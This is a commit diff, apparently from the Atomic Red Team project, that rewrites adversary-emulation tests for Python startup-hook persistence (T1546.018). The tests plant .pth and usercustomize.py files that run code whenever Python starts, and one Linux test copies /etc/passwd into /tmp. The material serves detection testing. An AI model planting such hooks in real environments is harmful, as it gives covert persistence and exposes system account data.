Enhance T1546.018 (Hooking via Python) with site-packages and venv Isolation (#3274)

Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
This commit is contained in:
Wai Linn Oo
2026-01-20 09:52:50 +06:30
committed by GitHub
parent 2c5a063d34
commit 7fff22ab93
+149 -59
View File
@@ -1,80 +1,124 @@
attack_technique: T1546.018
display_name: "Event Triggered Execution: Python Startup Hooks"
display_name: 'Event Triggered Execution: Python Startup Hooks'
atomic_tests:
- name: "Python Startup Hook Execution via .pth (Windows)"
auto_generated_guid: b4773c6b-3aa0-44a2-830a-b6ff594a0fb2
- name: Python Startup Hook - atomic_hook.pth (Windows)
description: |
Creates a Python startup hook using a .pth file inside a virtual environment on Windows.
Executes code by placing a .pth file in the site-packages directory.
Supports python.exe and python3.exe via input arguments.
supported_platforms:
- windows
input_arguments:
exe_name:
description: Executable to launch
type: string
default: calc.exe
python_path:
description: Path to Python interpreter
type: path
python_exe:
description: The python binary name to test.
type: String
default: python.exe
dependency_executor_name: powershell
dependencies:
- description: Ensure Python is installed
- description: |
Python must be installed and the specified binary (#{python_exe}) must be in the PATH.
prereq_command: |
if (Get-Command #{python_path} -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }
if (Get-Command @("#{python_exe}", 'python3.exe') -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }
get_prereq_command: |
Write-Host "Python not found. Please install it from https://www.python.org/downloads/windows/ or via 'winget install Python.Python.3'"
Write-Host "[!] Python3 not found. Please install Python3 (e.g., winget install python3 or winget install python or https://www.python.org/downloads/windows/) or ensure it is in your PATH."
executor:
name: powershell
elevation_required: false
command: |
$TempDir = Join-Path $env:TEMP ("atomic_python_hook_" + [guid]::NewGuid())
New-Item -ItemType Directory -Path $TempDir | Out-Null
Set-Location $TempDir
Set-Content -Path "$env:TEMP\atomic_python_hook_path.txt" -Value $TempDir
& "#{python_path}" -m venv env
$TempDir = Join-Path $env:TEMP "atomic_pth_win"
New-Item -ItemType Directory -Path $TempDir -Force
& "#{python_exe}" -m venv "$TempDir\env"
$SitePackages = & "$TempDir\env\Scripts\python.exe" -c "import site; print(site.getsitepackages()[1])"
"import os, subprocess; os.environ.get('CALC_SPAWNED') or (os.environ.update({'CALC_SPAWNED':'1'}) or subprocess.Popen(['#{exe_name}']))" | Out-File -Encoding ASCII "$SitePackages\atomic_hook.pth"
& "$TempDir\env\Scripts\python.exe" -c "print('Interpreter started')"
"import os, subprocess; os.environ.get('CALC_SPAWNED') or (os.environ.update({'CALC_SPAWNED':'1'}) or subprocess.Popen(['calc.exe']))" | Out-File -Encoding ASCII "$SitePackages\atomic_hook.pth"
Get-ChildItem -Path "$SitePackages" | Where-Object { $_.Name -like "*.pth" }
& "$TempDir\env\Scripts\python.exe" -c "print('Triggering Hook via atomic_hook...')"
cleanup_command: |
Get-Process CalculatorApp -ErrorAction SilentlyContinue | Stop-Process -Force
if (Test-Path "$env:TEMP\atomic_python_hook_path.txt") {
$TempDir = Get-Content "$env:TEMP\atomic_python_hook_path.txt"
Remove-Item -Recurse -Force $TempDir -ErrorAction SilentlyContinue
Remove-Item "$env:TEMP\atomic_python_hook_path.txt" -Force }
if (-not (Get-ChildItem -Path $env:TEMP -ErrorAction SilentlyContinue | Where-Object Name -like 'atomic_pth_win')) { Write-Host "[!] Artifact missing: $env:Temp\atomic_pth_win Folder - [-] Please Run : Invoke-AtomicTest T1546.018"; exit 1 };
Remove-Item -Path "$env:TEMP\atomic_pth_win" -Recurse -Force
Write-Host "[+] Successfully Removed atomic_pth_win folder and atomic_hook.pth from Temp Directory"
Get-Process -Name "Calc*" -ErrorAction SilentlyContinue | Stop-Process -Force
Get-Process -Name "calc*" -ErrorAction SilentlyContinue | Stop-Process -Force
Write-Host "[+] Successfully Terminated Calculator"
- name: "Python Startup Hook Execution via .pth (Linux)"
auto_generated_guid: 85f21c19-18ef-4450-98d8-05bb7b0e1887
- name: Python Startup Hook - usercustomize.py (Windows)
description: |
Creates a Python startup hook using a .pth file inside a virtual environment on Linux.
Executes code via usercustomize.py. This is a per-user persistence mechanism
that does not require Administrative privileges.
supported_platforms:
- windows
input_arguments:
python_exe:
description: The python binary name to test
type: String
default: python.exe
dependency_executor_name: powershell
dependencies:
- description: |
Python must be installed and the specified binary (#{python_exe}) must be in the PATH.
prereq_command: |
if (Get-Command @("#{python_exe}", 'python3.exe') -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }
get_prereq_command: |
Write-Host "[!] Python3 not found. Please install Python3 (e.g., winget install python3 or winget install python or https://www.python.org/downloads/windows/) or ensure it is in your PATH."
executor:
name: powershell
elevation_required: false
command: |
$UserDir = & "#{python_exe}" -c "import site; print(site.getusersitepackages())"
if (!(Test-Path $UserDir)) { New-Item -ItemType Directory -Path $UserDir -Force }
"import os; os.system('calc.exe')" | Out-File -FilePath "$UserDir\usercustomize.py" -Encoding ASCII
Get-ChildItem -Path "$UserDir"
& "#{python_exe}" -c "print('Triggering Hook via usercustomize...')"
cleanup_command: |
$PyBin = if (Get-Command "#{python_exe}" -ErrorAction SilentlyContinue) { "#{python_exe}" } elseif (Get-Command "python3.exe" -ErrorAction SilentlyContinue) { "python3.exe" } else { "python.exe" };
$UserDir = & $PyBin -S -c "import site; print(site.getusersitepackages())"
if (-not (Get-ChildItem -Path $UserDir -Recurse -ErrorAction SilentlyContinue | Where-Object Name -like 'usercustomize*')) { Write-Host "[!] Artifact missing: $UserDir\usercustomize.py - [-] Please Run : Invoke-AtomicTest T1546.018"; exit 1 };
Get-ChildItem -Path "$UserDir" -Recurse -Force |
Where-Object { $_.Name -like "usercustomize*" } |
Remove-Item -Force
Write-Host "[+] Successfully Removed usercustomize.py under $UserDir"
Get-Process -Name "Calc*", "calc*" -ErrorAction SilentlyContinue | Stop-Process -Force
Write-Host "[+] Successfully Terminated Calculator"
- name: Python Startup Hook - atomic_hook.pth (Linux)
description: |
Executes code by creating atomic_hook.pth in the site-packages directory.
This script runs automatically for every user on the system when Python starts.
supported_platforms:
- linux
input_arguments:
python_path:
description: Path to Python interpreter
type: path
python_exe:
description: The python binary name to test
type: String
default: python3
dependency_executor_name: bash
dependency_executor_name: sh
dependencies:
- description: Ensure Python is installed
prereq_command: command -v #{python_path} >/dev/null 2>&1
- description: |
Python must be installed and the specified binary (#{python_exe}) must be in the PATH.
prereq_command: |
PYTHON_CMD=$(command -v #{python_exe} || command -v python)
if [ -z "$PYTHON_CMD" ]; then exit 1; fi
$PYTHON_CMD -m venv --help >/dev/null 2>&1
get_prereq_command: |
echo "Python3 not found. Please install it using your package manager (e.g., 'sudo apt install python3' or 'sudo yum install python3')."
echo "Python not found. Please install Python using your package manager (e.g., Debian Based 'sudo apt-get update && sudo apt-get install -y python3 python3-venv', RedHat / CentOS Based 'sudo yum install -y python3 python3-venv || sudo dnf install -y python3 python3-venv')."
executor:
name: bash
name: sh
elevation_required: false
command: |
PYTHON_EXE=$(command -v #{python_path})
TEMPDIR=$(mktemp -d /tmp/atomic_python_hook_XXXXXX)
echo "$TEMPDIR" > /tmp/atomic_python_hook_path.txt
$PYTHON_EXE -m venv "$TEMPDIR/env"
SITE_PACKAGES=$("$TEMPDIR/env/bin/python" -c "import site; print(site.getsitepackages()[0])")
echo "import sys, os; (not hasattr(sys, 'hook_run')) and (setattr(sys, 'hook_run', True) or os.system('cat /etc/passwd'))" > "$SITE_PACKAGES/atomic_hook.pth"
"$TEMPDIR/env/bin/python" -c "print('Interpreter started')"
TEMPDIR="/tmp/atomic_sitecust_posix"
mkdir -p "$TEMPDIR"
"#{python_exe}" -m venv "$TEMPDIR/env"
SITE_PACKAGES=$("$TEMPDIR/env/bin/#{python_exe}" -c "import site; print(site.getsitepackages()[0])")
echo "import os; os.system('cat /etc/passwd 1> /tmp/atomic_hook_poc.txt')" > "$SITE_PACKAGES/atomic_hook.pth"
ls -la "$SITE_PACKAGES/atomic_hook.pth"
"$TEMPDIR/env/bin/python" -c "print('Triggering Hook via atomic_hook...')"
if [ -f /tmp/atomic_hook_poc.txt ]; then echo "[+] Success: atomic_hook_poc.txt created under /tmp \n" $(ls -la /tmp/ | grep -w atomic_hook_poc.txt); else echo "Failed: /tmp/atomic_hook_poc.txt not found"; fi
cleanup_command: |
rm -rf $(cat /tmp/atomic_python_hook_path.txt) && rm -f /tmp/atomic_python_hook_path.txt
if [ ! -f /tmp/atomic_hook_poc.txt ] || [ ! -d /tmp/atomic_sitecust_posix ]; then echo "[!] Missing artifact or folder: /tmp/atomic_hook_poc.txt or /tmp/atomic_sitecust_posix — [-] Please Run : Invoke-AtomicTest T1546.018"; exit 0; fi
rm -rf /tmp/atomic_sitecust_posix
echo "[+] Successful Removed atomic_hook.pth"
rm -rf /tmp/atomic_hook_poc.txt
echo "[+] Successful Removed atomic_hook_poc.txt under /tmp"
- name: "Python Startup Hook Execution via .pth (macOS)"
auto_generated_guid: 858b4aed-d76f-443d-a801-5454ea56dee0
- name: Python Startup Hook - atomic_hook.pth (macOS)
description: |
Creates a Python startup hook using a .pth file inside a virtual environment on macOS.
supported_platforms:
@@ -84,27 +128,73 @@ atomic_tests:
description: App to launch
type: string
default: Calculator
python_path:
description: Path to Python interpreter
type: path
python_exe:
description: The python binary name to test
type: string
default: python3
dependency_executor_name: bash
dependency_executor_name: sh
dependencies:
- description: Ensure Python is installed
prereq_command: command -v #{python_path} >/dev/null 2>&1
- description: Python must be installed and the specified binary (#{python_exe}) must be in the PATH.
prereq_command: |
PYTHON_CMD=$(command -v python || command -v #{python_exe})
if [ -z "$PYTHON_CMD" ]; then exit 1; fi
$PYTHON_CMD -m venv --help >/dev/null 2>&1
get_prereq_command: |
echo "Python3 not found. Please install it using Homebrew ('brew install python') or the macOS developer tools ('xcode-select --install')."
echo "Python3 not found. Please install it using Homebrew ('brew install python' or 'brew install python3 or brew install python@3.X') or the macOS developer tools ('xcode-select --install')."
executor:
name: bash
name: sh
elevation_required: false
command: |
PYTHON_EXE=$(command -v #{python_path})
TEMPDIR=$(mktemp -d /tmp/atomic_python_hook_XXXXXX)
PYTHON_EXE=$(command -v #{python_exe} || command -v python)
TEMPDIR=$(mktemp -d /tmp/atomic_python_hook_XX)
echo "$TEMPDIR" > /tmp/atomic_python_hook_path.txt
$PYTHON_EXE -m venv "$TEMPDIR/env"
SITE_PACKAGES=$("$TEMPDIR/env/bin/python" -c "import site; print(site.getsitepackages()[0])")
SITE_PACKAGES=$("$TEMPDIR/env/bin/#{python_exe}" -c "import site; print(site.getsitepackages()[0])")
echo "import subprocess; subprocess.Popen(['open', '-a', '#{exe_name}'])" > "$SITE_PACKAGES/atomic_hook.pth"
"$TEMPDIR/env/bin/python" -c "print('Interpreter started')"
"$TEMPDIR/env/bin/python" -c "print('Triggering Hook via atomic_hook...')"
cleanup_command: |
if [ ! -f /tmp/atomic_python_hook_path.txt ] || [ ! -d $(cat /tmp/atomic_python_hook_path.txt) ]; then echo "[!] Artifact missing: /tmp/atomic_python_hook_path.txt — [-] Please Run : Invoke-AtomicTest T1546.018"; exit 0; fi
pkill "#{exe_name}" || true
[ -f /tmp/atomic_python_hook_path.txt ] && rm -rf $(cat /tmp/atomic_python_hook_path.txt) && rm -f /tmp/atomic_python_hook_path.txt
echo "[+] Successful Removed atomic_hook.pth and terminated #{exe_name}"
- name: Python Startup Hook - usercustomize.py (Linux / MacOS)
description: |
Executes code via usercustomize.py. This is a per-user persistence mechanism
that does not require root privileges.
supported_platforms:
- linux
- macos
input_arguments:
python_exe:
description: The python binary name to test
type: String
default: python3
dependency_executor_name: sh
dependencies:
- description: |
Python must be installed and the specified binary (#{python_exe}) must be in the PATH.
prereq_command: |
PYTHON_CMD=$(command -v #{python_exe} || command -v python)
if [ -z "$PYTHON_CMD" ]; then exit 1; fi
$PYTHON_CMD -m venv --help >/dev/null 2>&1
get_prereq_command: |
echo "Python not found. Please install Python using your package manager (e.g., Debian Based 'sudo apt-get update && sudo apt-get install -y python3 python3-venv', RedHat / CentOS Based 'sudo yum install -y python3 python3-venv || sudo dnf install -y python3 python3-venv', MacOS brew install python3 or brew install python@3.x or the macOS developer tools ('xcode-select --install'))."
executor:
name: sh
elevation_required: false
command: |
PYTHON_EXE=$(command -v #{python_exe} || command -v python)
USER_PACKAGES=$($PYTHON_EXE -c "import site; print(site.getusersitepackages())")
mkdir -p "$USER_PACKAGES"
echo "import os; os.system('date > /tmp/poc.txt')" > "$USER_PACKAGES/usercustomize.py"
if [ -f "$USER_PACKAGES/usercustomize.py" ]; then echo "Success: usercustomize.py created under $USER_PACKAGES\n" $(ls -la "$USER_PACKAGES" | grep usercustomize*); else echo "Failed: usercustomize.py not found under $USER_PACKAGES"; fi
$PYTHON_EXE -c "print('Triggering Hook via usercustomize.py...')"
if [ -f /tmp/poc.txt ]; then echo "Success: poc.txt created under /tmp\n" $(ls -la /tmp/ | grep -w poc.txt); else echo "Failed: /tmp/poc.txt not found"; fi
cleanup_command: |
PYTHON_CMD=$(command -v #{python_exe} || command -v python)
USER_PACKAGES=$($PYTHON_CMD -S -c "import site; print(site.getusersitepackages())")
if [ ! -f /tmp/poc.txt ] || [ ! -f $USER_PACKAGES/usercustomize.py ]; then echo "[!] Artifact missing: /tmp/poc.txt and $USER_PACKAGES/usercustomize.py — [-] Please Run : Invoke-AtomicTest T1546.018"; exit 0; fi
if [ -e "$USER_PACKAGES"/usercustomize* ]; then echo "[+] Successful remove $USER_PACKAGES/usercustomize.py\n" $(rm -rf "$USER_PACKAGES"/usercustomize*); else echo "usercustomize.py not found under $USER_PACKAGES"; fi
rm -rf /tmp/poc.txt
echo "[+] Successful remove poc.txt under /tmp"